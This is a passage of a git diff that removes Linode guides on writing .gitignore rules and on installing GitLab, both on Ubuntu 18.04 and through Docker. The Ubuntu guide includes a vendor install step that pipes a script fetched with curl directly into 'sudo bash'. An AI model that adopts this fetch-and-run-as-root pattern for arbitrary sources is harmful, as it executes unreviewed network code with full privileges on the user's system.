how to use its powerful syntax. - -{{< note >}} -Throughout this guide, `gitignore` refers to the `.gitignore` file. The full `.gitignore` name is always used in commands, outputs, and when referencing the full path of the file. -{{< /note >}} - -## What is gitignore? - -In a Git repository, most files are either tracked or untracked. But the `gitignore` file enables a third category of files. Here's an explanation of the three types of files in a Git repository: - -- **Tracked**: These files are already added/staged or committed to the repository. -- **Untracked**: These files are not yet staged or committed. The developer intends to stage or commit them at some later time. -- **Ignored**: These are untracked files that a developer does not want to stage or commit. Git has been told to ignore these files, so they do not appear in the input of Git commands. As far as Git is concerned, these files do not exist. - -To list the tracked and untracked files in a Git repository, use the `git status` command. It lists all tracked files that have changed, along with the untracked files. However, it does not list any ignored files or folders. These entities are hidden, and therefore no longer shown as untracked. This removes clutter from the Git commands and makes it easier to focus on changes to relevant files. - -To ignore a file or folder, add it to a file named `.gitignore`. This is a text file normally located in the root directory of a Git repository, although it can reside elsewhere. The preceding `.` character indicates `gitignore` is a hidden file. - -Git does not automatically create the `gitignore` file. It must be created manually. - -Each line in the file represents a different pattern, or rule, describing the files Git should ignore. The `gitignore` syntax includes a series of special operators for developing patterns with much larger scopes. Unfortunately, there is no Git command to create or edit the `gitignore` file. These actions must be performed manually. - -Developers should ignore files and folders they do not plan to push, rather than leaving them in an untracked state. This avoids confusion, reduces the chance of accidental commits, and helps developers structure their workplace. Here are some types of files that are good candidates for `gitignore`. - -- Object files and compiled code, such as `.o` files. -- Build output directories. -- Caches. -- System files. -- Auto-generated files, including `.lock` and `.tmp` files. -- Personal configuration or IDE files. -- Temporary test data for unit testing. -- Placeholder or stub files used during early development. -- Files containing sensitive information like passwords and keys. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Ensure Git is installed on your Linode. For information on installing up Git, see the Linode guide to [installing Git](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/). Essentially: - - ```command {title="Debain / Ubuntu"} - sudo apt install git - ``` - - ```command {title="AlmaLinux / CentOS Stream / Fedora / Rocky Linux"} - sudo dnf install git - ``` - -1. To provide an environment for testing `gitignore` behavior, create and initialize a test Git repository: - - ```command - mkdir testgit - cd testgit - git init - ``` - -1. Create the example files and folders necessary to follow along with this guide: - - ```command - mkdir {subdir1,subdir2,subdir3} && touch 1.bak a.bin b.bin file1.txt file2.txt file3.txt file4.txt file5.txt file6.txt one.bak subdir1/file7.txt subdir2/file8.txt subdir3/files.log - ``` -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## How to Use the gitignore file - -`gitignore` is a normal text file. It contains a set of rules telling Git what files and folders to ignore. Users must create and edit it manually. The following sections explain how and where to create the file and how to ignore files and folders. The following examples use a sample Git repository named `testgit`. This repository has already been created using the `git init` command. - -This guide is optimized for Linux and Ubuntu users, but the Git commands are common to all platforms. The `gitignore` syntax is platform independent. - -### How to Create the gitignore File - -Most developers add the `gitignore` file to the root directory of the repository. However, it can be created in any directory. The patterns in a `gitignore` file are always relative to the location of the `gitignore` directory. It is also possible to create multiple `gitignore` files. The rules in each file are cumulative and are processed in a relative manner. - -There is no command for creating the `.gitignore` file. To create the `.gitignore` file, first, make sure you're in the root directory of the Git project (i.e `testgit`). Then use a text editor, or simply the `touch`command, to create the file: - -```command -touch .gitignore -``` - -### How to Add Files to gitignore - -The simplest use of `gitignore` is to ignore an individual file. Add the full name of the file to be ignored to the `.gitignore` file. Each new entry must appear on a separate line. - -Git ignores all files with this name no matter where they are located in the repository. A later section discusses how to ignore multiple files matching a pattern. Here are the steps required to add a file to `gitignore`. - -1. Run the `git status` command to review the list of untracked files. Determine which files are not important and should not be listed. - - ```command - git status - ``` - - {{< output >}} -Untracked files: - .gitignore - 1.bak - a.bin - b.bin - file1.txt - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak - subdir1/ - subdir2/ - subdir3/ -{{< /output >}} - -1. Edit the `.gitignore` file: - - ```command - nano .gitignore - ``` - -1. To ignore `file1.txt`, add the full name of the file to `gitignore`: - - ```file {title="testgit/.gitignore"} - file1.txt - ``` - - {{< note respectIndent=false >}} -This pattern ignores any file named `file1.txt` anywhere in the Git repository. -{{< /note >}} - -1. Press **CTRL+X** to exit nano, **Y** to save, and **Enter** to confirm. - -1. Run `git status` again and confirm `file1.txt` is no longer listed amongst the untracked files: - - {{< output >}} -Untracked files: - .gitignore - 1.bak - a.bin - b.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak - subdir1/ - subdir2/ - subdir3/ -{{< /output >}} - -1. A file in a specific directory is ignored in much the same way. Add the entire file path, relative to the `gitignore` file, as a new line in the file. For example, to ignore the file `file7.txt` in the directory `subdir1`, add another entry to `gitignore`, like so: - - ```file {title="testgit/.gitignore" hl_lines="2"} - file1.txt - subdir1/file7.txt - ``` - -1. Run `git status` again: - - {{< output >}} -Untracked Files: - .gitignore - 1.bak - a.bin - b.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak - subdir2/ - subdir3/ -{{< /output >}} - - Here, `subdir1` is not listed because its only contents was `file7.txt.`, which is now ignored. - -### How to Add Folders to gitignore - -`gitignore` can also be used to ignore entire directories, along with any files and subdirectories in the directory. To ignore a specific directory, append a `/` symbol to the end of the directory name. - -{{< note >}} -If the `/` symbol is not added to the end of the rule, Git ignores all files and directories matching the pattern. `/` restricts the rule so it only applies to directories. -{{< /note >}} - -This example explains how to ignore the `subdir2` directory in `gitignore`. - -1. Add a new entry to `gitignore` consisting of the name of the directory to ignore: - - ```file {title="testgit/.gitignore" hl_lines="3"} - file1.txt - subdir1/file7.txt - subdir2/ - ``` - -1. Confirm the directory is now on the ignore list. Neither the directory nor the files it contains should be listed under `untracked files`: - - ```command - git status - ``` - - {{< output >}} -Untracked files: - .gitignore - 1.bak - a.bin - b.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak - subdir3/ -{{< /output >}} - -### Debugging gitignore - -Git provides a debug command for determining why a file is being ignored or considered. Use the `check-ignore` command and the `-v` verbose flag. Git lists every rule that applies to the file. - -```command -git check-ignore -v subdir2/file8.txt -``` - -{{< output >}} -.gitignore:3:subdir2/ subdir2/file8.txt -{{< /output >}} - -## gitignore Syntax and Patterns - -`gitignore` is equipped with a powerful and flexible set of special operators for filtering files on a highly granular level. The `gitignore` syntax uses wildcard and exclude symbols to add multiple files or remove other files from the set of ignored files. - -This section describes the different characters comprising the `gitignore` syntax. The `check-ignore` command illustrates how the gitignore syntax affects different files. For more extensive information about the syntax, consult the [gitignore documentation](https://git-scm.com/docs/gitignore). - -### The Wildcard Symbols - -The `*` symbol matches zero or more characters, excluding only the `/` character. For example, the rule `*.bak` ignores all files with the `.bak` extension, including `1.bak` and `one.bak`. Wildcards can be used in both file and folder names. - -1. Add a new line to `.gitignore`: - - ```file {title="testgit/.gitignore" hl_lines="4"} - file1.txt - subdir1/file7.txt - subdir2/ - *.bak - ``` - -1. Use `git-status` to confirm both `.bak` files are unlisted: - - {{< output >}} -Untracked Files: - .gitignore - a.bin - b.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - subdir3/ -{{< /output >}} - -1. A closely-related filter is the `?` character. This matches any single character. The rule `?.bak` matches `1.bak`, but not `one.bak`. Modify the last change to `.gitignore` to look like so: - - ```file {title="testgit/.gitignore" hl_lines="4"} - file1.txt - subdir1/file7.txt - subdir2/ - ?.bak - ``` - -1. Use `git check-ignore ` to look for `1.bak`: - - ```command - git check-ignore -v 1.bak - ``` - - {{< output >}} -.gitignore:4:?.bak 1.bak -{{< /output >}} - -1. Use `git status` again to confirm that `one.bak` is listed as untracked: - - {{< output >}} -Untracked Files: - .gitignore - a.bin - b.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak - subdir3/ -{{< /output >}} - -### The Double Asterisk Symbol - -The `**` character matches any number of directories or files. This is often used to ignore certain files in a specific directory anywhere in the repository. For instance, the pattern `**/backup/*.log` matches any files ending in `.log` in any directory named `backup`. - -The `**` works slightly differently in different contexts. The pattern `**/dirname` matches all instances of the directory. The pattern `dirname/**/filename` matches files named `filename` inside `dirname` or any of its subdirectories. - -1. Add a new line to `.gitignore`: - - ```file {title="testgit/.gitignore" hl_lines="5"} - file1.txt - subdir1/file7.txt - subdir2/ - ?.bak - **/subdir3/*.log - ``` - -1. Use `git check-ignore` to look for the `files.log` file: - - ```command - git check-ignore -v subdir3/files.log - ``` - - {{< output >}} -.gitignore:5:**/subdir3/*.log subdir3/files.log -{{< /output >}} - -1. Now use `git status` to confirm that the `files.log` file's otherwise empty parent directory `subdir3` is now unlisted: - - {{< output >}} -Untracked Files: - .gitignore - a.bin - b.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak -{{< /output >}} - -### The Negation Symbol - -The negation symbol removes some of the files or folders that match an earlier rule enforcing an ignored state. If the rule `*.bin` ignores all `.bin` files, then the rule `!a.bin` overrides this rule for `a.bin`. It tells Git to stop ignoring these files and move them back to the untracked state. - -{{< note >}} -Some of the negated files can be returned to the ignored state using yet another rule later in the file. So it is possible to ignore a set of files `a`, then negate subset `b` out of `a`, then ignore subset `c` from `b`. It is possible to build a long chain of nested rules using this strategy. However, this structure can be difficult to debug and should normally be avoided. -{{< /note >}} - -This example demonstrates how the rule `!a.bin` overrides the `*.bin` rule. The file `b.bin` is still ignored, but `a.bin` is listed as untracked. - -1. Add two new lines in `.gitignore`: - - ```file {title="testgit/.gitignore" hl_lines="6,7"} - file1.txt - subdir1/file7.txt - subdir2/ - ?.bak - **/subdir3/*.log - *.bin - !a.bin - ``` - -1. Use `git check-ignore` to look for `b.bin`: - - ```command - git check-ignore -v b.bin - ``` - - {{< output >}} -.gitignore:6:*.bin b.bin -{{< /output >}} - -1. Now look for `a.bin`: - - ```command - git check-ignore -v a.bin - ``` - - {{< output >}} -.gitignore:7:!a.bin a.bin -{{< /output >}} - -1. Use `git status` to confirm that `a.bin` is still untracked, but `b.bin` is unlisted: - - {{< output >}} -Untracked Files: - .gitignore - a.bin - file2.txt - file3.txt - file4.txt - file5.txt - file6.txt - one.bak -{{< /output >}} - -## The Range Symbol - -The square brackets `[]` are used to specify a numerical or alphabetical range. There are several permutations of this symbol. - -- `[0-9]` matches any single character from the range, so any number between `0` and `9`. This is the same as any single digit. -- `[01]` matches any character from the set, in this case, either `0` or `1`. -- `[!01]` matches any character except the ones in the set. -- `[a-m]` is an alphabetic range. This range includes lower case letters from `a` to `m`. - -As an example, the `gitignore` entry `file[3-5].txt` ignores `file3.txt`, `file4.txt` and `file5.txt`, but not `file2.txt` or `file6.txt`. - -1. Add `file[3-5].txt` to your `gitignore` file: - - ```file {title="testgit/.gitignore" hl_lines="8"} - file1.txt - subdir1/file7.txt - subdir2/ - ?.bak - **/subdir3/*.log - *.bin - !a.bin - file[3-5].txt - ``` - -1. Use `git status` to confirm the removal of `file3.txt`, `file4.txt`, and `file5.txt` from the list of untracked files: - - {{< output >}} -.gitignore -a.bin -file2.txt -file6.txt -one.bak -{{< /output >}} - -1. Use `git check-ignore` to look for `file3.txt`: - - ```command - git check-ignore -v file3.txt - ``` - - {{< output >}} -.gitignore:8:file[3-5].txt file3.txt -{{< /output >}} - -### The Comment Symbol - -Any entry in the `gitignore` file beginning with the `#` symbol is a comment. Comments can help organize and explain highly complicated `gitignore` files. - -Blank lines are also ignored. Developers can use them to separate the `gitignore` file into sections. - -### Combinations and Exceptions - -There are a few puzzling exceptions to the `gitignore` rules. Certain patterns are also confusing. Here are some specific cases that might cause problems. - -- For performance reasons, it is not possible to negate a file that belongs to an ignored directory. For example, if a rule ignores the `backup` directory, then Git does not acknowledge the subsequent pattern `!backup/data.log`. The `backup/data.log` file is still ignored and does not appear as an untracked file in `git status`. -- Prepending a directory separator `/` symbol to a rule indicates the rule is relative to the root directory containing the `gitignore` file. Without the `/` symbol, the rule applies everywhere in the directory. -- Patterns specifying a particular file in a certain directory are always relative to the `gitignore` file. This means the pattern `backup/debug.log` does not match the file `project/backup/debug.log`. This rule is equivalent to `/backup/debug.log`. -- Any pattern with a directory separator `/` symbol in the middle of a pattern is also relative to the `gitignore` file. -- If there is a `/` symbol at the end of a pattern, it only matches directories. Otherwise it matches both directories and files. -- The `\` symbol is an escape character. It tells Git to treat the next character as a literal character and not a special symbol. The rule `log\[05\].txt` is used to ignore `log[05].txt`. Without the escape character, the rule would ignore `log0.txt` and `log5.txt`. - -## Ignoring Files in Special Circumstances - -### Ignoring Files Locally and Globally - -The `gitignore` file is typically checked into the Git repository. This means it applies to every instance of the repository, but not to other repositories on the system. However, Git provides options to expand the rules to all repositories or only apply the rules locally. - -- **Local Repository Rules**: Rules in the `.git/info/exclude` file only apply in the local repository. This file is not checked in, so it does not apply to other copies of the repository. This is a good choice for special rules that only apply to your personal repository, including personal data or local environments. The regular `gitignore` rules still apply in this context. -- **Global gitignore Rules**: To ignore files in all repositories on a particular system, use a global `.gitignore` file. Run the following command to register the file globally with Git, then add the rules to `~/.gitignore`. - - ```command - git config --global core.excludesFile ~/.gitignore - ``` - -### Ignoring Checked-In Files - -Git does not ignore any checked in files, even if they are covered by patterns in the `gitignore` file. To ignore a checked in file, first remove it from Git. Use this command to remove and ignore the file. - -```command -git rm --cached FILENAME -``` -{{< note >}} -Conversely, it is possible to check in an ignored file using the `-f` option. Run the command `git add -f FILENAME`. After the file is checked in, Git no longer ignores it. However, this command is not recommended. It is better to create a `gitignore` pattern exempting the file, or to design the patterns so the file is never ignored in the first place. -{{< /note >}} - -## Conclusion - -Git files are normally either tracked or untracked. However, Git provides a mechanism for ignoring untracked files that are not intended for check-in. This means they do not appear in the output of commands such as `git status`, resulting in a cleaner and better organized workspace. - -Developers can ignore files and folders by adding them to the `.gitignore` file. `gitignore` is a plain text file normally located in the root directory of the repository. Powerful operators including wild card characters and exclusion characters allow users to define rules with wider or more granular scopes. For more information on how to ignore files in Git, see the [Gitignore documentation](https://git-scm.com/docs/gitignore). \ No newline at end of file diff --git a/docs/guides/development/version-control/install-gitlab-on-ubuntu-18-04/index.md b/docs/guides/development/version-control/install-gitlab-on-ubuntu-18-04/index.md deleted file mode 100644 index 7dae4935df3..00000000000 --- a/docs/guides/development/version-control/install-gitlab-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -slug: install-gitlab-on-ubuntu-18-04 -title: 'Install GitLab on Ubuntu 18.04' -description: 'This guide shows how to install GitLab, the free git repository management app based on Ruby on Rails, on a Linode running Ubuntu 18.04, along with SSL.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-01-04 -keywords: ['git', 'gitlab', 'version control', 'ubuntu'] -tags: ["ssl","version control system","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[GitLab''s Official Documentation](https://docs.gitlab.com/ee/README.html)' -- '[GitLab''s NGINX Configurations](https://docs.gitlab.com/omnibus/settings/nginx.html)' -audiences: ["intermediate"] -relations: - platform: - key: install-gitlab - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/development/version-control/install-gitlab-on-ubuntu-18-04/'] ---- - -GitLab is a complete solution for all aspects of your software development life-cycle. At its core, GitLab serves as your centralized Git repository. It also features built-in tools that represent every task in your development workflow, from planning to testing to releasing. You can host your own GitLab instance on a Linode, instead of using third-party hosting. Self-hosting your software development with GitLab offers total control of your codebase while providing an easy to use interface for team members. GitLab is the most popular self-hosted Git repository, so you'll benefit from a robust set of integrated tools and an active community. - -This guide will walk you through the steps to install GitLab on an 8GB Linode running Ubuntu 18.04. This installation can support up to 500 users for general use. - -## System Requirements - -Before installing GitLab you should consider how many users will collaborate on your self-hosted instance, the size of the repositories you will store, and the recommended minimum system requirements. This criteria will effect the needed storage, CPU, and memory. This guide will use an **8GB Linode plan** to fulfill GitLab's minimum system requirements. The suggested hardware is as follows: - -- **Storage** The required storage depends on the size of the repositories you will store in GitLab. You should plan to have *at least* as much free space as all the repositories combined require. -- **CPU:** 4 cores is the recommended number and supports up to 500 users. While you can use 1 CPU core to support 100 users, the application may run slower because all workers and background jobs will run on the same core. -- **Memory:** 8 GB to support up to 500 users. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Add a domain zone, NS record, and A/AAA record for the domain you will use to access your GitLab installation. See the [DNS Manager > Get Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-dns-manager) guide for details. If you will access your GitLab instance via your Linode’s IP address, you can skip this step. - -1. [Create an SSL Certificate](/cloud/guides/secure-http-traffic-certbot/), if you will be using SSL encryption for your domain (this is recommended). Be sure to note the location that Certbot uses to store all generated keys and issued certificates. - -## Install GitLab - -1. Install all required dependencies: - - sudo apt-get install -y curl openssh-server ca-certificates - -1. Install Postfix to send email notifications: - - sudo apt-get install -y postfix - - When prompted, select *Internet Site* and press **Enter**. Use your server's external DNS for *mail name* and press **Enter**. - - {{% content "email-warning-shortguide" %}} - -1. Add the GitLab package repository: - - curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | sudo bash - -1. Install the GitLab package. Replace `gitlab.example.com` with the domain you will use to access your GitLab installation. The installation will automatically configure and start GitLab. - - sudo EXTERNAL_URL="http://gitlab.example.com" apt-get install gitlab-ee - -1. In your browser of choice, navigate to the URL you provided in the previous step. You will be redirected to GitLab's password reset screen. You should provide a password for the GitLab administrator account. - - ![GitLab password reset](gitlab-password-reset.png) - -1. You will be redirected to the login screen. Enter `root` as the username and the password you just created to log in. - - ![GitLab welcome screen](gitlab-welcome.png) - -## Configure SSL Encryption -{{< note >}} -If you did not generate an SSL certificate using Certbot prior to the installation of GitLab, you may need to first stop GitLab and then generate the SSL certificate to bypass any errors related to Certbot's certificate challenge. To stop GitLab run the following command: - - sudo gitlab-ctl stop - -Once you are done generating the certificate, restart GitLab with the following command: - - sudo gitlab-ctl start -{{< /note >}} - -1. Edit the `/etc/gitlab/gitlab.rb` to use HTTPS. This is done by modifying the value of `external_url` to use `https` instead of `http`: - - {{< file "/etc/gitlab/gitlab.rb" ruby >}} -## GitLab URL -##! URL on which GitLab will be reachable. -##! For more details on configuring external_url see: -##! https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-the-external-url-for-gitlab -external_url 'https://gitlab.example.com' - {{}} - -1. Edit the `/etc/gitlab/gitlab.rb` file to point to the location of your SSL certificate and key. The path should be the location used by Certbot to store the certificates when they were initially created. - - {{< file "/etc/gitlab/gitlab.rb" ruby >}} -nginx['ssl_certificate'] = "/etc/letsencrypt/live/gitlab.example.com/fullchain.pem" -nginx['ssl_certificate_key'] = "/etc/letsencrypt/live/gitlab.example.com/privkey.pem" - {{}} - -1. Redirect all HTTP traffic to HTTPS: - - {{< file "/etc/gitlab/gitlab.rb" ruby >}} -nginx['redirect_http_to_https'] = true - {{}} - -1. Issue the following command to enable your new configurations: - - sudo gitlab-ctl reconfigure - -1. Navigate to your GitLab instance domain and verify that you are directed to `https`. - - You are now ready to begin using GitLab as your remote version control system. Refer to [GitLab's official documentation](https://docs.gitlab.com/ee/README.html) for details on how to get started administering your GitLab instance. diff --git a/docs/guides/development/version-control/install-gitlab-with-docker/index.md b/docs/guides/development/version-control/install-gitlab-with-docker/index.md deleted file mode 100644 index ed88452de66..00000000000 --- a/docs/guides/development/version-control/install-gitlab-with-docker/index.md +++ /dev/null @@ -1,250 +0,0 @@ ---- -slug: install-gitlab-with-docker -title: "Install GitLab with Docker" -description: 'This guide shows how to install GitLab, the free git repository management app based on Ruby on Rails, on a Linode using the container application Docker.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-01-11 -keywords: ['gitlab', 'git', 'docker'] -tags: ["version control system","docker"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[GitLab EE Docker Image](https://hub.docker.com/r/gitlab/gitlab-ee)' -- '[GitLab Docker Documentation](https://docs.gitlab.com/omnibus/docker/)' -- '[GitLab SSL Configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#lets-encrypt-integration)' -aliases: ['/development/version-control/install-gitlab-with-docker/'] ---- - -![Install GitLab with Docker](install-gitlab-with-docker.png "Install GitLab with Docker") - -[GitLab](https://gitlab.com/) is a free Git repository management application, like GitHub or Bitbucket, that you can run on your own Linode. This guide will show you how to install GitLab using the official GitLab Docker image. - -The GitLab application has a number of services it depends on, including PostgreSQL, Nginx, and Redis. A major benefit of using Docker to install GitLab is that these dependencies are isolated to a single easy-to-update and self-contained image. - -## Before You Begin - -### Choose An Appropriately Sized Linode - -GitLab is a resource-intensive application. To get the most out of GitLab, we recommend a Linode with at least 8GB of memory and at least 2 CPU cores. For more information on system requirements, visit the [GitLab Hardware Requirements page](https://docs.gitlab.com/ce/install/requirements.html#hardware-requirements). - -{{< note >}} -This guide was written for and tested with Ubuntu 18.04. You may be able to adapt this guide to other operating systems supported by Docker. When following this guide under another OS, use the Docker [installation instructions](https://docs.docker.com/install/) for that OS. -{{< /note >}} - -### Secure your Server - -Review and implement the measures in the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide, including creating a [limited user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account). - -### Change your Linode's Default SSH Port - -One of GitLab's features is the ability for you to push and fetch code changes to and from your repository over SSH. When installing GitLab, the software will need to bind to port 22, which is the standard port for SSH. Your system's SSH service already runs on this port by default, so you will receive an error from GitLab if you don't address this conflict. - -To fix this, you'll want to change the port that your system's SSH service listens on. This can be accomplished by editing your Linode's `/etc/ssh/sshd_config` file and changing the `Port` assignment. The example snippet below changes the port from 22 to port 26: - -{{< file "/etc/ssh/sshd_config" >}} -... -Port 26 -... -{{< /file >}} - -When editing the file, you may also need to uncomment the `Port` line by removing the `#` character from the start of the line, if one is present. After updating this file and saving the change, restart the SSH service: - - sudo systemctl restart sshd - -Close your current SSH session and create a new one, making sure to specify the new port. You can do this by supplying the `-p` flag: - - ssh your_limited_user@192.0.2.2 -p 26 - -### (Optional) Update your DNS Records - -Assign a domain or subdomain to your GitLab server. This step is optional, as you can always access GitLab via your server's IP address. However, using a domain is necessary if you would like to take advantage of GitLab's built in SSL support, which uses [Let's Encrypt](https://letsencrypt.org/) to issue certificates. This guide's examples will use `gitlab.example.com`. - -It takes some time for DNS changes to propagate through the internet, so it's suggested that you do this before you set up GitLab. There are several options for updating your DNS records: - -- If you already use Linode's name servers, or if you would like to use them for your domain, review the [DNS Manager](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) guide. You will need to set up an *A record* which is assigned your Linode's IP address. - -- If you use a different DNS provider, review that provider's documentation for setting up a new A record. - - {{% content "update-dns-at-common-name-server-authorities" %}} - -You can test to see if your DNS changes have propagated with the [`dig` command](/cloud/guides/use-dig-to-perform-manual-dns-queries/): - - dig +short gitlab.example.com - -{{< output >}} -192.0.2.2 -{{< /output >}} - -Once your changes have propagated, you can move forward with the installation. - -### Install Docker -You must have Docker installed on your Linode to continue. - -{{% content "installing-docker-shortguide" %}} - -## Install the GitLab EE Image - -After installing Docker, download the latest GitLab Enterprise Edition [Docker image](https://hub.docker.com/r/gitlab/gitlab-ee/) from DockerHub. This image contains everything GitLab needs in order to run: PostgreSQL, Nginx, Redis, etc. To download the image, run the following `pull` command: - - sudo docker pull gitlab/gitlab-ee:latest - -{{< note type="secondary" title="Community Edition or Enterprise Edition?" isCollapsible=true >}} -The GitLab Enterprise Edition software does not actually require you to have a license to use it. If you do not supply a license after installation, it will automatically show you the GitLab Community Edition feature set instead. - -If you'd like, you can instead opt to download GitLab Community Edition. This will offer the same features as an unlicensed Enterprise Edition installation. The key difference between these software packages is that the features of the EE installation can be upgraded at any time by entering a license. - -The primary reason someone might download the Community Edition is if they prefer to only download open source software. For more information on GitLab's licensing, review the [GitLab article](https://about.gitlab.com/install/ce-or-ee/) on this subject. To download the GitLab CE Docker image, run this command: - - sudo docker pull gitlab/gitlab-ce:latest - -{{< /note >}} - -It may take a few minutes to download the image. When the download is complete, you can view a list of all installed Docker images with the `images` command: - - sudo docker images - -## Configure and Run GitLab - -In order to configure and run the GitLab container, you need to provide a few options at runtime. - -1. Consider the following command, a version of which you will use to start the GitLab container: - - sudo docker run --detach \ - --hostname gitlab.example.com \ - --publish 443:443 --publish 80:80 --publish 22:22 \ - --name gitlab-linode \ - --restart always \ - --volume /srv/gitlab/config:/etc/gitlab \ - --volume /srv/gitlab/logs:/var/log/gitlab \ - --volume /srv/gitlab/data:/var/opt/gitlab \ - --env GITLAB_OMNIBUS_CONFIG="external_url 'https://gitlab.example.com/';" \ - gitlab/gitlab-ee:latest - - {{< note type="secondary" title="Descriptions for each option" isCollapsible=true >}} - `--detach` runs the Docker container as a background process, as opposed to running it in the foreground. - - `--hostname` defines the container's internal hostname. - - `--publish` tells the container to publish ports, or ranges of ports, to the host. Because GitLab accepts connections on the HTTP (80), HTTPS (443), and SSH (22) ports, this option is declared three times. If you wanted to access GitLab from a non-standard port on your host, you would provide the host port first, and the container port second after the semi-colon. For instance if you wanted to access GitLab SSH on port 3333, you would write `--publish 3333:22`. - - `--name` allows you to apply a label to your container, for use when referencing the container within a Docker network. - - `--restart` specifies a restart policy for the container. Here it is set to `always`, meaning that the container, if exited, will automatically be restarted. - - `--volume` defines the host mounted volumes the container uses to store persistent data. These three volumes store application data, log files, and configuration files. The value to the left of the semi-colon is the local location, and the value to the right is the container location. - - `--env` supplies the variable `GITLAB_OMNIBUS_CONFIG`, which can hold a series of values, separated by a colon, that correspond to the [GitLab Omnibus configuration settings](https://docs.gitlab.com/omnibus/settings/configuration.html). In this case, an external URL is supplied. Some additional settings might include SMTP configuration values so that GitLab can send activity emails. - - As of GitLab 10.7, if you provide an external URL with a HTTPS protocol, GitLab will automatically set up SSL certificates using Let's Encrypt, and all traffic will be forwarded to HTTPS. For more information about this functionality, read the [GitLab SSL Documentation](https://docs.gitlab.com/omnibus/settings/ssl.html#primary-gitlab-instance) - - As an alternative to specifying the `GITLAB_OMNIBUS_CONFIG` variable via the `--env` option, you can edit the GitLab configuration file directly. For more instructions on how to do that, visit the [Configure GitLab documentation](https://docs.gitlab.com/omnibus/docker/#configure-gitlab). - {{< /note >}} - -1. In the above command, replace the values for the `--hostname` option and for the `external_url` configuration setting with the domain or subdomain for your GitLab site. If you did not set up DNS for your site, enter `http://your_linode_ip` (not `https`) for the `external_url` setting. Then, run the command. - - {{< note respectIndent=false >}} -If you are using the GitLab Community Edition image, replace `gitlab/gitlab-ee:latest` with `gitlab/gitlab-ce:latest` -{{< /note >}} - - The container may take a few moments to start. After it starts, you'll be given a container ID like the following: - - {{< output >}} -1093d89f9a0af8e4c79e0352e57721b09050d07c86c37d601145a856f3ed1502 -{{< /output >}} - -1. It will take an additional few minutes to be able to access GitLab in your browser after the container starts. You can find out more information about the startup process by monitoring the logs: - - sudo docker logs -f gitlab-linode - - To exit from the log monitoring process, enter `CTRL-C`. This will not stop the container from running. - -1. Load the GitLab site in your web browser. If you try to load it too shortly after starting the container, you may see an HTTP 502 error. If this happens, try waiting for a few more minutes and then refresh your page. - -1. The first time you access the site it will prompt you to enter an administrative password. Enter a complex password and record it somewhere safe. - -1. Log in to your GitLab site by entering `root` as the user along with the password you created in the previous step. - -## Create your First Project - -Each repository in GitLab belongs to a *project*. A project includes: a repository for your files, an issues tracker, a section for merge requests, a wiki, continuous integration and continuous delivery (CI/CD) pipelines, and other features to support your development. - -1. To create your first repository, click **Create a project**. - - ![From the welcome screen, click "Create a project"](gitlab-docker-welcome-screen.png) - -1. You will be taken to the **New Project** page. Enter the project name. You can optionally alter the project's slug, enter a description, or change the visibility of the project. Once you're done, click **Create project**. - - ![Fill out the required information to make a new project](gitlab-docker-create-project.png) - -1. Once your project has been created, you'll be provided with an empty project repository: - - ![An empty project on GitLab](gitlab-docker-empty-project.png) - -1. If you didn't have GitLab create a `README.md` file during project setup, instructions on how to start using your repository from the command line will be shown. - - Enter those commands on your computer to add a new `README.md` to your repository and push it back up to your GitLab repository. Change the domain in the `git clone` command to your site's domain: - - git clone https://gitlab.example.com/testuser/example-project.git - cd example-project - touch README.md # Or create the file in your editor and enter a project description - git add README.md - git commit -m "add README" - git push -u origin master - -## Manage the GitLab Container - -To view all of your running containers, you can issue the `ps` command: - - sudo docker ps - -To stop the GitLab container, issue the `stop` command by supplying the container ID you procured with the `ps` command, or supply the container name: - - sudo docker stop gitlab-linode - -To start a stopped container, issue the `start` command by supplying the container ID or container name: - - sudo docker start gitlab-linode - -Once the container has stopped, you can remove the container using the `rm` command, again supplying the container ID or container name: - - sudo docker container rm gitlab-linode -{{< note >}} -Removing the container will not delete your projects and repositories. -{{< /note >}} - -## Upgrading GitLab - -To upgrade GitLab to the newest version, you must stop and remove the container, pull the newest image, and then recreate the container: - - sudo docker stop gitlab-linode - sudo docker rm 